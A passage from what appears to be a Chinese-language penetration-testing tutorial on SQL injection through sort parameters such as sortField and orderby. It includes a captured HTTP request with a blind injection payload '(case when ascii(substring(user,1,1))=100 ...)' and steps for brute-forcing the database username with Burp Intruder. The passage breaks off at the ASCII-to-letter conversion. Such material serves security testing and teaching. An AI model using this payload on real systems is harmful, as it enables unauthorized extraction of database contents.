1、在日常的测试过程中,发现系统的排序功能最容易产生sql注入,我们需要重点关注业务系统的排序功能,一般功能点对应这类字段:sortField、sortOrder、order、orderby等。
举个排序的SQL注入案例:
发现系统的一个查询功能存在排序,使用bp进行抓包,寻找到该功能的排序字段sortField。
数据包如下:
POST xxxxxxxx HTTP/1.1
Host:xxxxxxx
Content-Length: 1680
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ3EAffKC
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=xxxx
Connection: close
------WebKitFormBoundaryQ3EAffKC
Content-Disposition: form-data; name="commonDto"
[{"id":"rblAuditstatus","bind":"status","type":"radiobuttonlist",,"sortField":"xxxx-(case when ascii(substring(user,1,1))=100 then 0 else 1/0 end)","sortOrder":"asc","columns":[{"fieldName":"xxxx"},{"fieldName":"idcard"},{"fieldName":"zigexulie"},{"fieldName":"graduatedate","format":"yyyy-MM-dd"},
------WebKitFormBoundaryQ3EAffKC—
我们重点关注这个数据包的排序字段sortField, 经过使用常规的一个单引号和两个单引号发现该字段存在注入,然后使用(case when ascii(substring(user,1,1))=100 then 0 else 1/0 end)这个payload去探测盲注猜测该系统数据库的数据库用户。
使用bp的intruder功能去爆破这两个参数A和B:(case when ascii(substring(current_user,A,1))=B then 0 else 1/0 end),A是代表数据库用户的第X位,B是代表该数据库用户第X位所对应的ascii值,爆破完将其位数与值一一对应提取出来,然后按照ascii表将其转化为字母即可。
将其ascii对应的数字转化字母: